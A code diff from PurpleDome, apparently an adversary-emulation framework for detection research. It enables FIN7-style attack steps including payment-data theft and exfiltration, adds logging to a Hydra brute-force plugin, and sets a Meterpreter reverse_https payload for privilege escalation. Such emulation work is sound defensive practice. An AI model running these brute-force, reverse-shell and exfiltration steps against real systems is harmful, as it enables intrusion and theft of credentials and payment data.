accounting.put(os.path.join(os.path.dirname(self.plugin_path), "resources", "step10", "pillowMint.exe"),
"pillowMint.exe")
accounting.put(os.path.join(os.path.dirname(self.plugin_path), "resources", "step10", "AccountingIQ.exe"),
"AccountingIQ.exe")
accounting.put(os.path.join(os.path.dirname(self.plugin_path), "resources", "step10", filename),
filename)
self.attack_logger.stop_build(logid=logid)
self.attack_logger.vprint(
f"{CommandlineColors.OKGREEN}Step 10 compiling tools{CommandlineColors.ENDC}", 1)
@ -524,6 +782,17 @@ class FIN7Plugin(AttackPlugin):
self.attack_logger.vprint(
f"{CommandlineColors.OKBLUE}Step 10 (target: accounting): Steal Payment Data{CommandlineColors.ENDC}", 1)
self.attack_logger.start_narration(
"Step 10 (target accounting): Steal Payment Data\n----------------------------")
self.attack_logger.start_narration("""
NOT IMPLEMENTED YET. NEEDS TARGET REBOOTING: NO IDEA IF ATTACKX CAN SUPPORT THAT
* Machine is rebooted
* shim dll329.dll is activated https://attack.mitre.org/techniques/T1546/011/
* AccountingIQ injects into SyncHost.exe, rundll32.exe communicates to C2
* debug.exe(pillowMint.exe) is downloaded from C2, does process discovery https://attack.mitre.org/techniques/T1105/
* send 7za.exe to target. Zip stolen data, exfiltrate
""")
# This is meterpreter !
@ -567,7 +836,7 @@ class FIN7Plugin(AttackPlugin):
# Those build calls will be called from the steps directly. But it is always conveniet for testing to use that now directly while developing
# Building the tools is temporarily de-activated. Without the proper environment the tools being built are useless. Many attacks run on temporary attacks
if False:
if True:
self.build_step4() # DONE
self.build_step6() # DONE
# TODO: self.build_step7() # Will not be done until the environment is planned. This step needs Aloha Command Center on the target. Maybe we write our own vulnerable app....
@ -576,15 +845,15 @@ class FIN7Plugin(AttackPlugin):
self.build_step10() # DONE
# self.step1()
# self.step2()
self.step1()
self.step2()
self.step3() # DONE and works
self.step4() # PARTIAL - with a hack. Needs compilation of babymetal: Needs a powershell to execute on the build system. And this one needs system access
self.step5() # DONE and quite ok
# self.step6() # Hollow.exe has to be generated
# self.step7() # Will need compilation of an attack tool Boostwrite
# self.step8() # Migration and credential collection, on itadmin
# self.step9() # on accounting, shim persistence bin329.tmp needs to be generated
# self.step10() # on accounting, AccountingIQ.c needs compilation. But just once.
self.step6() # Hollow.exe has to be generated
self.step7() # Will need compilation of an attack tool Boostwrite
self.step8() # Migration and credential collection, on itadmin
self.step9() # on accounting, shim persistence bin329.tmp needs to be generated
self.step10() # on accounting, AccountingIQ.c needs compilation. But just once.
return ""

@ -11,6 +11,8 @@ class HydraPlugin(AttackPlugin):
name = "hydra"
description = "A plugin controlling the hydra brute forcing tool"
ttp = "T1110"
tactics_id = "T1110.003"
tactics = "Credential access"
references = ["https://attack.mitre.org/techniques/T1110/"]
required_files_attacker = ["passwords.txt", "users.txt"] # Files shipped with the plugin which are needed by the kali tool. Will be copied to the kali share
@ -27,6 +29,7 @@ class HydraPlugin(AttackPlugin):
# Set defaults if not present in config
playground = self.attacker_machine_plugin.get_playground()
total_res = ""
# Generate command
cmd = f"cd {playground};"
@ -34,7 +37,24 @@ class HydraPlugin(AttackPlugin):
for t in targets:
for p in self.conf['protocols']:
cmd += f"hydra -L {self.conf['userfile']} -P {self.conf['pwdfile']} {p}://{t.get_ip()};"
res = self.attacker_run_cmd(cmd) or ""
return res
logid = self.attack_logger.start_kali_attack(source=self.attacker_machine_plugin.get_ip(),
target=t.get_ip(),
attack_name=self.name,
ttp=self.ttp,
name="Hydra brute force",
tactics=self.tactics,
tactics_id=self.tactics_id,
description="Hydra can brute force accounts/passwords for different protocols",
situation_description=f"Hydra attack on {t.get_ip()}, protocol: {p}",
countermeasure="Statistics at the firewall. Close connections with too many failed connection attempts.",
kali_command=cmd
)
res = self.attacker_run_cmd(cmd) or ""
total_res += res
self.attack_logger.stop_kali_attack(source=self.attacker_machine_plugin.get_ip(),
target=t.get_ip(),
attack_name=self.name,
ttp=self.ttp,
logid=logid)
return total_res

@ -26,8 +26,9 @@ class MetasploitGetsystemPlugin(AttackPlugin):
@param targets: A list of targets, ip addresses will do
"""
self.attack_logger.start_narration("A metasploit command like that is used to get system privileges for the next attack step.")
res = ""
payload_type = "windows/x64/meterpreter/reverse_https"
payload_type = "windows/meterpreter/reverse_https"
payload_name = "babymetal.exe"
target = self.targets[0]
@ -38,6 +39,9 @@ class MetasploitGetsystemPlugin(AttackPlugin):
metasploit.smart_infect(target, payload_type, payload_name, )
metasploit.getsystem(target)
metasploit.getsystem(target,
situation_description="This is an example standalone attack step. In real world attacks there would be events before and after",
countermeasure="Observe how pipes are used. Take steps before (gaining access) and after (abusing those new privileges) into account for detection."
)
return res

@ -13,3 +13,9 @@ sphinxcontrib.asciinema==0.3.2
paramiko==2.7.2
pymetasploit3==1.0.3
pylint
# Mypy stuff
mypy
types-PyYAML
types-requests
types-simplejson

@ -0,0 +1,120 @@
Attack
======
Target systems
--------------
Attack steps
------------
{% for e in events %}
{% if e.event is eq("start") %}
{% if e.type is eq("dropping_file") %}
Dropping file to target
~~~~~~~~~~~~~~~~~~~~~~~
At {{ e.timestamp }}
The file {{ e.file_name }} is dropped to the target {{ e.target }}.
{% endif %}
{% if e.type is eq("execute_payload") %}
Executing payload on target
~~~~~~~~~~~~~~~~~~~~~~~~~~~
At {{ e.timestamp }}
The command {{ e.command }} is used to start a file on the target {{ e.target }}.
{% endif %}
{% if e.type is eq("narration") %}
{{ e.text }}
{% endif %}
{% if e.sub_type is eq("metasploit") %}
Metasploit attack {{ e.name }}
~~~~~~~~~~~~~~~~~~~~~~~~~~
Tactics: {{ e.tactics }}
Tactics ID: {{ e.tactics_id }}
Hunting Tag: {{ e.hunting_tag}}
At {{ e.timestamp }} a Metasploit command {{ e.name }} was used to attack {{ e.target }} from {{ e.source }}.
{{ e.description }}
{% if e.metasploit_command is string() %}
Metasploit command: {{ e.metasploit_command }}
{% endif %}
{% if e.situation_description is string() %}
Situation: {{ e.situation_description }}
{% endif %}
{% if e.countermeasure is string() %}
Countermeasure: {{ e.countermeasure }}
{% endif %}
{% endif %}
{% if e.sub_type is eq("kali") %}
Kali attack {{ e.name }}
~~~~~~~~~~~~~~~~~~~~~~~~~~
Tactics: {{ e.tactics }}
Tactics ID: {{ e.tactics_id }}
Hunting Tag: {{ e.hunting_tag}}
At {{ e.timestamp }} a Kali command {{ e.kali_name }} was used to attack {{ e.target }} from {{ e.source }}.
{{ e.description }}
{% if e.kali_command is string() %}
Kali command: {{ e.kali_command }}
{% endif %}
{% if e.situation_description is string() %}
Situation: {{ e.situation_description }}
{% endif %}
{% if e.countermeasure is string() %}
Countermeasure: {{ e.countermeasure }}
{% endif %}
{% endif %}
{% if e.sub_type is eq("caldera") %}
Caldera attack {{ e.name }}
~~~~~~~~~~~~~~~~~~~~~~~~~~
Tactics: {{ e.tactics }}
Tactics ID: {{ e.tactics_id }}
Hunting Tag: {{ e.hunting_tag}}
At {{ e.timestamp }} a Caldera ability {{ e.ability_id }}/"{{ e.name }}" was used to attack the group {{ e.target_group }} from {{ e.source }}.
{{ e.description }}
{% if e.situation_description is string() %}
Situation: {{ e.situation_description }}
{% endif %}
{% if e.countermeasure is string() %}
Countermeasure: {{ e.countermeasure }}
{% endif %}
{% endif %}
{% endif %} {# event equal start #}
{% endfor %}
Tools
-----
{% for e in events %}
{% if e.event is eq("start") %}
{% if e.type is eq("build") %}
Building tool {{ e.filename }}
~~~~~~~~~~~~~~~~~~~~~~~
The file {{ e.filename }} is built
{% if e.for_step %}
It will be used in Step {{ e.for_step }}
{% endif %}
Build time is between {{ e.timestamp }} and {{ e.timestamp_end }}
{% if e.dl_uri is string() %}
Built from source downloaded from {{ e.dl_uri }}
{% endif %}
{% if e.dl_uris %}
Built from sources downloaded from
{% for i in e.dl_uris %}
* {{ i }}
{% endfor %}
{% endif %}
{% if e.payload is string() %}
The attack tool uses a Meterpreter payload. The payload is {{ e.payload }}. The payload is built for the {{ e.platform }} platform and the {{ e.architecture }} architecture.
The settings for lhost and lport are {{ e.lhost }}/{{ e.lport }}.
{% endif %}
{% if e.encoding is string() %}
The file was encoded using {{ e.encoding }} after compilation.
{% endif %}
{% if e.encoded_filename is string() %}
The encoded version is named {{ e.encoded_filename }}.
{% endif %}
{% if e.SRDI_conversion %}
The attack tool was converted to position independent shellcode. See: https://github.com/monoxgas/sRDI
{% endif %}
{{ e.comment }}
{% endif %}
{% endif %}
{% endfor %}

@ -41,7 +41,7 @@ class TestMachineConfig(unittest.TestCase):
data = al.get_dict()
self.assertEqual(data[0]["event"], "start")
self.assertEqual(data[0]["type"], "attack")
self.assertEqual(data[0]["sub-type"], "caldera")
self.assertEqual(data[0]["sub_type"], "caldera")
self.assertEqual(data[0]["source"], source)
self.assertEqual(data[0]["target_paw"], paw)
self.assertEqual(data[0]["target_group"], group)
@ -71,7 +71,7 @@ class TestMachineConfig(unittest.TestCase):
data = al.get_dict()
self.assertEqual(data[0]["event"], "stop")
self.assertEqual(data[0]["type"], "attack")
self.assertEqual(data[0]["sub-type"], "caldera")
self.assertEqual(data[0]["sub_type"], "caldera")
self.assertEqual(data[0]["source"], source)
self.assertEqual(data[0]["target_paw"], paw)
self.assertEqual(data[0]["target_group"], group)
@ -95,7 +95,7 @@ class TestMachineConfig(unittest.TestCase):
data = al.get_dict()
self.assertEqual(data[0]["event"], "start")
self.assertEqual(data[0]["type"], "attack")
self.assertEqual(data[0]["sub-type"], "kali")
self.assertEqual(data[0]["sub_type"], "kali")
self.assertEqual(data[0]["source"], source)
self.assertEqual(data[0]["target"], target)
self.assertEqual(data[0]["kali_name"], attack_name)
@ -116,7 +116,7 @@ class TestMachineConfig(unittest.TestCase):
data = al.get_dict()
self.assertEqual(data[0]["event"], "stop")
self.assertEqual(data[0]["type"], "attack")
self.assertEqual(data[0]["sub-type"], "kali")
self.assertEqual(data[0]["sub_type"], "kali")
self.assertEqual(data[0]["source"], source)
self.assertEqual(data[0]["target"], target)
self.assertEqual(data[0]["kali_name"], attack_name)
@ -137,7 +137,7 @@ class TestMachineConfig(unittest.TestCase):
data = al.get_dict()
self.assertEqual(data[0]["event"], "start")
self.assertEqual(data[0]["type"], "attack")
self.assertEqual(data[0]["sub-type"], "metasploit")
self.assertEqual(data[0]["sub_type"], "metasploit")
self.assertEqual(data[0]["source"], source)
self.assertEqual(data[0]["target"], target)
self.assertEqual(data[0]["metasploit_command"], attack_name)
@ -158,7 +158,7 @@ class TestMachineConfig(unittest.TestCase):
data = al.get_dict()
self.assertEqual(data[0]["event"], "stop")
self.assertEqual(data[0]["type"], "attack")
self.assertEqual(data[0]["sub-type"], "metasploit")
self.assertEqual(data[0]["sub_type"], "metasploit")
self.assertEqual(data[0]["source"], source)
self.assertEqual(data[0]["target"], target)
self.assertEqual(data[0]["metasploit_command"], attack_name)
@ -179,7 +179,7 @@ class TestMachineConfig(unittest.TestCase):
data = al.get_dict()
self.assertEqual(data[0]["event"], "start")
self.assertEqual(data[0]["type"], "attack")
self.assertEqual(data[0]["sub-type"], "attack_plugin")
self.assertEqual(data[0]["sub_type"], "attack_plugin")
self.assertEqual(data[0]["source"], source)
self.assertEqual(data[0]["target"], target)
self.assertEqual(data[0]["plugin_name"], attack_name)
@ -200,7 +200,7 @@ class TestMachineConfig(unittest.TestCase):
data = al.get_dict()
self.assertEqual(data[0]["event"], "stop")
self.assertEqual(data[0]["type"], "attack")
self.assertEqual(data[0]["sub-type"], "attack_plugin")
self.assertEqual(data[0]["sub_type"], "attack_plugin")
self.assertEqual(data[0]["source"], source)
self.assertEqual(data[0]["target"], target)
self.assertEqual(data[0]["plugin_name"], attack_name)
@ -219,7 +219,7 @@ class TestMachineConfig(unittest.TestCase):
data = al.get_dict()
self.assertEqual(data[0]["event"], "start")
self.assertEqual(data[0]["type"], "dropping_file")
self.assertEqual(data[0]["sub-type"], "by PurpleDome")
self.assertEqual(data[0]["sub_type"], "by PurpleDome")
self.assertEqual(data[0]["source"], source)
self.assertEqual(data[0]["target"], target)
self.assertEqual(data[0]["file_name"], file_name)
@ -237,7 +237,7 @@ class TestMachineConfig(unittest.TestCase):
data = al.get_dict()
self.assertEqual(data[0]["event"], "stop")
self.assertEqual(data[0]["type"], "dropping_file")
self.assertEqual(data[0]["sub-type"], "by PurpleDome")
self.assertEqual(data[0]["sub_type"], "by PurpleDome")
self.assertEqual(data[0]["source"], source)
self.assertEqual(data[0]["target"], target)
self.assertEqual(data[0]["file_name"], file_name)
@ -255,7 +255,7 @@ class TestMachineConfig(unittest.TestCase):
data = al.get_dict()
self.assertEqual(data[0]["event"], "start")
self.assertEqual(data[0]["type"], "execute_payload")
self.assertEqual(data[0]["sub-type"], "by PurpleDome")
self.assertEqual(data[0]["sub_type"], "by PurpleDome")
self.assertEqual(data[0]["source"], source)
self.assertEqual(data[0]["target"], target)
self.assertEqual(data[0]["command"], command)
@ -273,7 +273,7 @@ class TestMachineConfig(unittest.TestCase):
data = al.get_dict()
self.assertEqual(data[0]["event"], "stop")
self.assertEqual(data[0]["type"], "execute_payload")
self.assertEqual(data[0]["sub-type"], "by PurpleDome")
self.assertEqual(data[0]["sub_type"], "by PurpleDome")
self.assertEqual(data[0]["source"], source)
self.assertEqual(data[0]["target"], target)
self.assertEqual(data[0]["command"], command)

@ -187,14 +187,15 @@ class TestMachineConfig(unittest.TestCase):
def test_missing_vmip(self):
""" Testing if missing vm ip is handled"""
vm_name = "target1"
mc = MachineConfig({"root": "systems/attacker1",
"os": "linux",
"vm_controller": {
"type": "vagrant",
"vagrantfilepath": "systems",
},
"vm_name": "target1"})
self.assertEqual(mc.vm_ip(), None)
"vm_name": vm_name})
self.assertEqual(mc.vm_ip(), vm_name)
def test_machinepath(self):
""" Testing machinepath setting """

@ -0,0 +1,46 @@
# Configuration file for the Sphinx documentation builder.
#
# This file only contains a selection of the most common options. For a full
# list see the documentation:
# https://www.sphinx-doc.org/en/master/usage/configuration.html
# -- Path setup --------------------------------------------------------------
# If extensions (or modules to document with autodoc) are in another directory,
# add these directories to sys.path here. If the directory is relative to the
# documentation root, use os.path.abspath to make it absolute, like shown here.
#
# import os
# import sys
# -- Project information -----------------------------------------------------
project = 'PurpleDome Simulation'
copyright = '2021, Avast'
author = 'Thorsten Sick'
# -- General configuration ---------------------------------------------------
# Add any paths that contain templates here, relative to this directory.
templates_path = ['_templates']
# List of patterns, relative to source directory, that match files and
# directories to ignore when looking for source files.
# This pattern also affects html_static_path and html_extra_path.
exclude_patterns = []
# -- Options for HTML output -------------------------------------------------
# The theme to use for HTML and HTML Help pages. See the documentation for
# a list of builtin themes.
#
html_theme = 'haiku'
# Add any paths that contain custom static files (such as style sheets) here,
# relative to this directory. They are copied after the builtin static files,
# so a file named "default.css" will overwrite the builtin "default.css".
html_static_path = ['_static']

@ -49,10 +49,12 @@ globs = ["TODO.md",
"plugins/default/*/*/*.reg",
"plugins/avast_internal_plugins/*/*/*.py",
"plugins/avast_internal_plugins/*/*/*.bat",
"plugins/avast_internal_plugins/*/*/*.ps1",
"plugins/avast_internal_plugins/*/*/*.txt",
"plugins/avast_internal_plugins/*/*/*.md",
"plugins/avast_internal_plugins/*/*/*.yaml",
"plugins/avast_internal_plugins/*/*/*.exe",
"plugins/avast_internal_plugins/*/*/*.com",
"plugins/avast_internal_plugins/*/*/*.dll",
"plugins/avast_internal_plugins/*/*/*.dll_*",
"plugins/avast_internal_plugins/*/*/*.reg",

Loading…
Cancel
Save